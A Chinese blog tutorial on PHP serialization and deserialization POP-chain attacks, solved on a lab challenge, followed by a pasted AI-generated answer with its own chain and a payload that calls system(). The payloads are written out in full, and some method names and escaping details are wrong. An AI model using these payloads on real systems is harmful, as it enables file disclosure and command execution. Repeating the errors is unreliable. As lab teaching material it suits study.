PHP序列化/反序列化-POP链构造

 一.什么是php序列化


序列化:对象转换成数组或字符串等格式

形式:O:4:"info”:2:{s:4:“name”;i:2:“19”;}

  • O代表object,4为对象长度

  • info为对象名称

  • 2为该对象中变量的个数

  • s为string类型

  • 4为变量长度

  • name为变量名

  • i代表int,后面同上.

序列化方法:serialize()

<?php
class Animal {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

$cat = new Animal("mini", 12);
echo serialize($cat);
?>

运行结果:O:6:"Animal":2:{s:4:"name";s:4:"mini";s:3:"age";i:12;}

二.什么是反序列化

反序列化:将数组和字符串转换成对象.

反序列化方法:unserialize()

<?php
class Animal {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

$a = unserialize('O:6:"Animal":2:{s:4:"name";s:4:"mini";s:3:"age";i:12;}');
var_dump($a);
?>

最后结果就是未编译前的代码

三.魔术方法

什么是魔术方法?

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。

常见的一些魔术方法及使用:

以下是php常见的魔术方法:

  • _construct:构造函数,在创建对象时,会自行调用。
  • _destruct:析构函数,在对象的所有引用都被删除时或者对象被销毁时调用。
  • _wakeup:进行unserialize时会查看是否有该函数,有的话有限调用,进行初始化对象。
  • _toString:当一个类被当成字符串时会被调用。
  • _sleep:当一个对象被序列化时调用,可与设定序列化时保存的属性。
  • _isset():检测对象的某个属性是否存在是执行此函数.当对不可访问属性调用isset()或empty()时.会触发_isset().
  • _unset():当在不可访问的属性上使用unset()时触发 销毁对象的某个属性是执行此函数
  • _INVOKE():将对象当作函数来使用时执行此方法,通常不建议这样做.
  • _get():用于从不可访问的属性读取数据
  • _set():用于将数据写入不可访问的属性
  • _callStatci():在静态上下文中调用不可访问的方法时触发
  • _call():在对象上下文中调用不可访问的方法时触发

反序列化利用大概分为三类:

  • 魔术方法的调用逻辑-如触发条件
  • 语言原生类的调用逻辑-如SoapClient
  • 语言自身的安全缺陷-如CVE-2016-7124

 反序列化例题-POP链构造:

这里以PHPSerialize-labs中class06为例:

在反序列化中我们只能控制成员变量的值,类中的成员方法不可改变,所以在构造payload时成员方法可以去掉,只留下成员变量.

下面是构造代码:

 建议新手手搓增加熟练度,这里为了方便使用代码输出.

pop链构造:

下面以PHPSerilize-labs中class13为例进行说明:

 <?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 
  • 先看到append方法中有echo $flag,但所有代码中,没有flag这个变量,即flag是在包含文件value中的.又由提示可知,flag在flag.php中,即只要value为flag.php即可,但append方法并非魔术方法,不可以自行调用,所以需要其他魔术方法调用append方法.
  • 再次观察代码,发现_invoke魔术方法中调用了append方法,由上面可以知道_invoke的触发条件为将对象当作函数来使用时执行此方法时触发,又见此处append方法中的参数为var,即只要私有属性var的值和value一致为flag.php即可.
  • 在Test类中可以看到将function当成函数来使用,即触发_get方法来触发_invoke方法,为变量p创建Modifier对象从而触发_invoke方法.已知_get方法的触发条件为用于从不可访问的属性读取数据,发现可以为Show类中的str变量新建一个实例,达到不可访问source属性从而触发_get方法,因为test类中没有source成员属性.
  • _toString的触发条件为当一个类被当成字符串时会被调用。只剩一个_wakeup方法未被调用,且echo $this -> source 当作字符串使用,则为source赋值一个show类实例._wakeup魔术方法的触发条件极其简单进行unserialize时会查看是否有该函数,有的话有限调用,进行初始化对象。

那么POP链就为:

  • var=flag.php再创建Modifier对象
  • 为Test类创建对象,从而触发_invoke魔术方法
  • 触发_get魔术方法,为str赋值test对象
  • 将show类对象赋值给source属性,达到触发toString的条件从而完成构造

因为wakeup魔术方法只要出现,反序列化时就会自动触发,所以不用特意触发

因为在序列化过程中我们只能控制成员属性的值,成员方法等不能做出更改,所以构造时可以删除成员方法等.

以下为构造过程:

最后需要注意O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}

其中的两个空格需要用%00进行替换,或者直接使用echo urlencode(serialize($c));进行输出

<think>好的,我现在需要帮助用户理解PHP反序列化POP攻击原理和实现方式。首先,我得回顾一下PHP序列化反序列化的基础知识。序列化是将对象转换为字符串,以便存储或传输,反序列化则是将这些字符串重新转换为对象。在这个过程中,如果攻击者能够控制反序列化的数据,就可能触发一些恶意行为。 接下来,POP攻击的关键在于利用类中的魔术方法。魔术方法如__destruct、__wakeup等,在对象生命周期的特定时刻会被自动调用。攻击者需要找到这些方法的调用,使得在反序列化过程中依次触发这些方法,最终执行恶意代码。例如,__destruct方法可能调用某个方法,而该方法又调用另一个存在漏洞的方法,形成式调用。 现在,我需要考虑如何构造一个具体的示例。比如,假设有一个类Example类,它的__destruct方法会调用$this->handler->close()。如果handler是另一个类FileManager的实例,而FileManager的close方法中有执行系统命令的代码,那么攻击者可以通过构造特定的序列化数据,将handler指向FileManager,并设置要执行的命令,从而在反序列化时触发命令执行。 然后,根据用户提供的引用,特别是引用[4]提到的POP的概念,需要将各个类的属性和方法串联起来。引用[2]提到处理protected和private属性时需要进行URL编码,避免解析错误。所以在构造序列化字符串时,需要注意这些格式问题,确保payload正确。 还要考虑漏洞利用的实际场景,比如反序列化入口点可能出现在Cookie、Session或数据传输中。攻击者需要找到这些入口,并注入恶意序列化数据。引用[5]中的例子涉及利用TemplatesImpl类,说明实际应用中可能会调用某些存在危险方法的类。 最后,我需要整理这些思路,分步骤解释POP构造过程,并给出一个代码示例,展示如何序列化恶意对象,并处理属性修饰符的问题。同时,生成相关问题,帮助用户进一步深入学习。</think>### PHP反序列化POP攻击原理及实现方式 #### 1. 核心机制 PHP反序列化POP攻击的核心在于**利用类的魔术方法(Magic Methods)和对象属性之间的调用关系**,构造一条从反序列化触发点到危险函数的调用(Property-Oriented Programming Chain)[^4]。当恶意构造序列化数据被反序列化时,会自动触发这些魔术方法,最终执行攻击者预设的代码。 #### 2. 关键步骤 1. **魔术方法触发** 常见触发点包括: - `__destruct()`:对象销毁时触发 - `__wakeup()`:反序列化时触发 - `__toString()`:对象被当作字符串使用时触发 2. **调用构造** 通过控制对象属性,使一个魔术方法调用另一个类的方法,形成式调用。例如: ``` A::__destruct() -> B::save() -> C::exec() ``` 3. **危险函数调用** 最终触发如`system()`、`eval()`、`file_put_contents()`等函数。 #### 3. 示例漏洞利用 假设存在以下三个类: ```php class FileManager { private $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function save() { system($this->cmd); // 危险函数 } } class Logger { public $handler; public function close() { $this->handler->save(); } } class Example { protected $obj; public function __destruct() { $this->obj->close(); // 触发点 } } ``` **攻击构造过程**: 1. 通过`Example::__destruct()`触发`Logger::close()` 2. `Logger::close()`调用`FileManager::save()` 3. `FileManager::save()`执行系统命令 **序列化payload生成**: ```php $file = new FileManager("id > /tmp/pwned"); $logger = new Logger(); $logger->handler = $file; $exp = new Example(); $exp->obj = $logger; // 处理protected属性格式 $payload = str_replace( ["\0*\0", "\0Example\0"], ['\00*\00','\00Example\00'], serialize($exp) ); echo urlencode($payload); // 需URL编码处理特殊字符[^2] ``` #### 4. 漏洞利用条件 1. 存在可被控制的反序列化入口(如`unserialize($_COOKIE['data'])`) 2. 目标代码中包含包含危险方法的类 3. 类之间存在可串联的调用关系
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值